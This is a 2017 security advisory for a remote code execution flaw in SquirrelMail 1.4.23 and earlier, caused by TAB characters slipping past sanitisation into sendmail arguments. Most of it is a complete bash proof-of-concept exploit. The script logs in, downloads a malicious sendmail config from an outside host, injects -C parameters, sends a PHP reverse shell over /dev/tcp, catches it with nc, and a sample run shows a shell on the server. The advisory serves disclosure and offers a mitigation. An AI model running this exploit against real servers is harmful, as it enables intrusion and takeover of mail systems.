__ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ ~~~~~~~~~~~~~ ExploitBox.io ~~~~~~~~~~~~~~~~ Interested in security / vulns / exploits ? Check out the new project of the author of this advisory: ExploitBox.io ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ============================================ - Author: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2017-7692 - Release date: 22.04.2017 - Revision 2.0 - Last revision: 24.04.2017 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- SquirrelMail <= 1.4.23 Remote Code Execution II. BACKGROUND ------------------------- " SquirrelMail is a standards-based webmail package written in PHP. It includes built-in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 (with no JavaScript required) for maximum compatibility across browsers. It has very few requirements and is very easy to configure and install. SquirrelMail has all the functionality you would want from an email client, including strong MIME support, address books, and folder manipulation." https://squirrelmail.org/about/ III. INTRODUCTION ------------------------- SquirrelMail is affected by a critical Remote Code Execution vulnerability which stems from insufficient escaping of user-supplied data when SquirrelMail has been configured with Sendmail as the main transport. An authenticated attacker may be able to exploit the vulnerability to execute arbitrary commands on the target and compromise the remote system. IV. DESCRIPTION ------------------------- The vulnerability is similar to the following vulnerabilities previously discovered by the author of this advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html When SquirrelMail has been configured with Sendmail as delivery transport, SquirrelMail uses the following function to send out user emails: -----[ ./class/deliver/Deliver_SendMail.class.php ]----- function initStream($message, $sendmail_path, $ignore=0, $ignore='', $ignore='', $ignore='', $ignore='', $ignore=false, $ignore='') { $rfc822_header = $message->rfc822_header; $from = $rfc822_header->from[0]; $envelopefrom = trim($from->mailbox.'@'.$from->host); $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom); // save executed command for future reference $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom"; // open process handle for writing $stream = popen(escapeshellcmd($this->sendmail_command), "w"); return $stream; } --------------------------------------------------------- SquirrelMail allows authenticated users to control envelopefrom (Return-Path) address through the webmail web interface. As we can see it calls str_replace() to sanitize the user input to prevent injection of additional parameters to the sendmail command. Unfortunately it does not take into account \t (TAB) character which can be used by attackers to inject additional parameters. If attacker sets their email address (Return-Path) in the options to attacker@localhost -oQ/tmp/ -X/tmp/sqpoc and then sends a new email. The sendmail program will be called with the following arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-i] Arg no. 2 == [-t] Arg no. 3 == [-fattacker@localhost] Arg no. 4 == [-oQ/tmp/] Arg no. 5 == [-X/tmp/sqpoc] which will result in /tmp/sqpc file created on disk with email log (-X parameter causes sendmail to save the debug/maillog into a file). As demonstrated by the PoC exploit below, attacker can also inject -Cparameter to provide a malicious sendmail config file which can be uploaded as an attachment to achieve arbitrary command execution. V. PROOF OF CONCEPT EXPLOIT ------------------------- -----[ SquirrelMail_RCE_exploit.sh ]------ #!/bin/bash # int='\033[94m __ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692) SquirrelMail_RCE_exploit.sh (ver. 1.0) Discovered and coded by Dawid Golunski (@dawid_golunski) https://legalhackers.com ExploitBox project: https://ExploitBox.io \033[0m' # Quick and messy PoC for SquirrelMail webmail application. # It contains payloads for 2 vectors: # * File Write # * RCE # It requires user credentials and that SquirrelMail uses # Sendmail method as email delivery transport # # # Full advisory URL: # https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html # # Tested on: # Ubuntu 16.04 # squirrelmail package version: # 2:1.4.23~svn20120406-2ubuntu1.16.04.1 # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulns/exploitation? # Stay tuned for my new project - ExploitBox # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: # .dxxxxxdl;. ., .. .;cdxxxxxx: # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. # .':oxxxxxxxxx.ckkkkkkkkxl,. # .,cdxxxxx.ckkkkkxc. # .':odx.ckxl,. # .,.'. # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- sqspool="/var/spool/squirrelmail/attach/" echo -e "$int" #echo -e "\033[94m \nSquirrelMail - Remote Code Execution PoC Exploit (CVE-2017-7692) \n" #echo -e "SquirrelMail_RCE_exploit.sh (ver. 1.0)\n" #echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m\n\n" # Base URL if [ $# -ne 1 ]; then echo -e "Usage: \n$0 SquirrelMail_URL" echo -e "Example: \n$0 http://target/squirrelmail/ \n" exit 2 fi URL="$1" # Log in echo -e "\n[*] Enter SquirrelMail user credentials" read -p "user: " squser read -sp "pass: " sqpass echo -e "\n\n[*] Logging in to SquirrelMail at $URL" curl -s -D /tmp/sqdata -d"login_username=$squser&secretkey=$sqpass&js_autodetect_results=1&just_logged_in=1" $URL/src/redirect.php | grep -q incorrect if [ $? -eq 0 ]; then echo "Invalid creds" exit 2 fi sessid="`cat /tmp/sqdata | grep SQMSESS | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`" keyid="`cat /tmp/sqdata | grep key | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`" # Prepare Sendmail cnf # # * The config will launch php via the following stanza: # # Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, # T=DNS/RFC822/X-Unix, # A=php -- $u $h ${client_addr} # wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf # Upload config echo -e "\n\n[*] Uploading Sendmail config" token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/compose.php?mailbox=INBOX&startMessage=1" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `" attachid="`curl -H "Expect:" -s -b"SQMSESSID=$sessid; key=$keyid" -F"smtoken=$token" -F"send_to=$mail" -F"subject=attach" -F"body=test" -F"attachfile=@/tmp/smcnf-exp" -F"username=$squser" -F"attach=Add" $URL/src/compose.php | awk -F's:32' '{print $2}' | awk -F'"' '{print $2}' | tr -d '\n'`" if [ ${#attachid} -lt 32 ]; then echo "Something went wrong. Failed to upload the sendmail file." exit 2 fi # Create Sendmail cmd string according to selected payload echo -e "\n\n[?] Select payload\n" # SELECT PAYLOAD echo "1 - File write (into /tmp/sqpoc)" echo "2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)" echo read -p "[1-2] " pchoice case $pchoice in 1) payload="$squser@localhost -oQ/tmp/ -X/tmp/sqpoc" ;; 2) payload="$squser@localhost -oQ/tmp/ -C$sqspool/$attachid" ;; esac if [ $pchoice -eq 2 ]; then echo read -p "Reverese shell IP: " reverse_ip read -p "Reverese shell PORT: " reverse_port fi # Reverse shell code phprevsh=" /dev/tcp/$reverse_ip/$reverse_port 0<&1 2>&1 & '\"; file_put_contents(\"/tmp/cmd\", 'export PATH=\"\$PATH\" ; export TERM=vt100 ;' . \$cmd); system(\"/bin/bash /tmp/cmd ; rm -f /tmp/cmd\"); ?>" # Set sendmail params in user settings echo -e "\n[*] Injecting Sendmail command parameters" token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/options.php?optpage=personal" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `" curl -s -b"SQMSESSID=$sessid; key=$keyid" -d "smtoken=$token&optpage=personal&optmode=submit&submit_personal=Submit" --data-urlencode "new_email_address=$payload" "$URL/src/options.php?optpage=personal" | grep -q 'Success' 2>/dev/null if [ $? -ne 0 ]; then echo "Failed to inject sendmail parameters" exit 2 fi # Send email which triggers the RCE vuln and runs phprevsh echo -e "\n[*] Sending the email to trigger the vuln" (sleep 2s && curl -s -D/tmp/sheaders -b"SQMSESSID=$sessid; key=$keyid" -d"smtoken=$token" -d"startMessage=1" -d"session=0" \ -d"send_to=$squser@localhost" -d"subject=poc" --data-urlencode "body=$phprevsh" -d"send=Send" -d"username=$squser" $URL/src/compose.php) & if [ $pchoice -eq 2 ]; then echo -e "\n[*] Waiting for shell on $reverse_ip port $reverse_port" nc -vv -l -p $reverse_port else echo -e "\n[*] The test file should have been written at /tmp/sqpoc" fi grep -q "302 Found" /tmp/sheaders if [ $? -eq 1 ]; then echo "There was a problem with sending email" exit 2 fi # Done echo -e "\n[*] All done. Exiting" -------[ EOF ]-------- Example run: ~~~~~~~~~~~~~ $ ./SquirrelMail_RCE_exploit.sh http://xenial/squirrelmail/ __ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692) SquirrelMail_RCE_exploit.sh (ver. 1.0) Discovered and coded by Dawid Golunski (@dawid_golunski) https://legalhackers.com ExploitBox project: https://ExploitBox.io [*] Enter SquirrelMail user credentials user: attacker pass: [*] Logging in to SquirrelMail at http://xenial/squirrelmail/ [*] Uploading Sendmail config [?] Select payload 1 - File write (into /tmp/sqpoc) 2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh) [1-2] 2 Reverese shell IP: 192.168.57.1 Reverese shell PORT: 1337 [*] Injecting Sendmail command parameters [*] Sending the email to trigger the vuln [*] Waiting for shell on 192.168.57.1 port 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 60608) bash: cannot set terminal process group (12208): Inappropriate ioctl for device bash: no job control in this shell www-data@vulnsys:/tmp$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@vulnsys:/tmp$ dpkg -l | grep squirrelmail dpkg -l | grep squirrelmail ii squirrelmail 2:1.4.23~svn20120406-2ubuntu1.16.04.1 all Webmail for nuts www-data@vulnsys:/tmp$ exit exit exit [*] All done. Exiting Video PoC: ~~~~~~~~~~~~~ https://legalhackers.com/videos/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html VI. BUSINESS IMPACT ------------------------- A successful exploitation could let remote attackers to gain access to the target server in the context of the web server account which could lead to a full compromise of the web application. VII. SYSTEMS AFFECTED ------------------------- The latest version of SquirrelMail 1.4.23 and below are affected. VIII. SOLUTION / VENDOR RESPONSE ------------------------- The vulnerability was first reported to SquirrelMail vendor by the author of this advisory which resulted in CVE-ID (2017-5181) issued on 4th January. The vendor requested more time due to personal issues. The vulnerability was however discovered and published in April by another researcher on full-disclosure list which triggered the release of this advisory without an official solution available. As a temporary solution users can switch to SMTP based transport (as opposed to Sendmail). As advised by MITRE, this vulnerability should now be tracked under the new CVEID - CVE-2017-7692. Vendor has been advised that the isue is now public. No response has been received yet. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io This / CVE-2017-7692 advisory URL: https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html Video PoC exploit: https://legalhackers.com/videos/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html Exploit code: The simple PoC shown above is available here: https://legalhackers.com/exploits/CVE-2017-7692/SquirrelMail_RCE_exploit.sh https://legalhackers.com/exploits/sendmail-exploit.cnf CVE-2017-7692 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7692 Vendor site: https://squirrelmail.org Related OSS-SECURITY /full-disclosure messages: http://seclists.org/fulldisclosure/2017/Apr/89 http://www.openwall.com/lists/oss-security/2017/04/19/7 Similar vulnerabilities discovered by the author (PHPMailer & SwiftMailer): https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html X. CREDITS ------------------------- The vulnerability was first discovered/reported by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com Filippo Cavallarin, who also reported the vulnerability at a later date (see the oss-security thread referenced below for details) XI. REVISION HISTORY ------------------------- 22.04.2017 - Advisory released 24.04.2017 - Revision 2.0 (updated references and SquirrelMail version to 1.4.23 which is still vulnerable) XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.